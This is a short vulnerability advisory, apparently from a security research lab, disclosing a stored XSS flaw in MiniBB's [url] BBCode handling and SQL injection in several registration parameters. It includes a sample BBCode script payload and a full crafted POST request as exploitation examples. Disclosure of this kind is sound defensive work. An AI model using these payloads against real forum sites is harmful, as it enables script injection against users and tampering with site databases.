Multiple Vulnerabilities in MiniBB

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in MiniBB which could be exploited to perform script insertion and SQL injection attacks.

1) Script insertion vulnerability in MiniBB
Input passed to the "[url]" BBCode tag is not properly sanitized. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data.
Exploitation example:
[imgs=http://nosuch.gif][url=http://onerror=javascript:alert(/XSS/);"']123[/ url][/imgs]

2) SQL injection vulnerability in MiniBB
The vulnerability exists due to input sanitation errors in the "icq", "occupation", "from", "interest", "viewemail", "user_sorttopics" and "language" parameters in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
POST /index.php?action=registernew HTTP/1.1
Host: [host]
Referer: http://[host]/index.php?action=registernew
Content-Type: application/x-www-form-urlencoded
Content-Length: 225
action=register&login=pentest&passwd=pentest&passwd2=pentest&email=pent est%40pentest.com&icq= 1%5C%5C&occupation=2%5C%5C&from=3%5C%5C&interest=4%5C%5C&user_viewemail=5%5C %5C&user_sorttopics=6%5C %5C&language=7%5C%5C&login=Login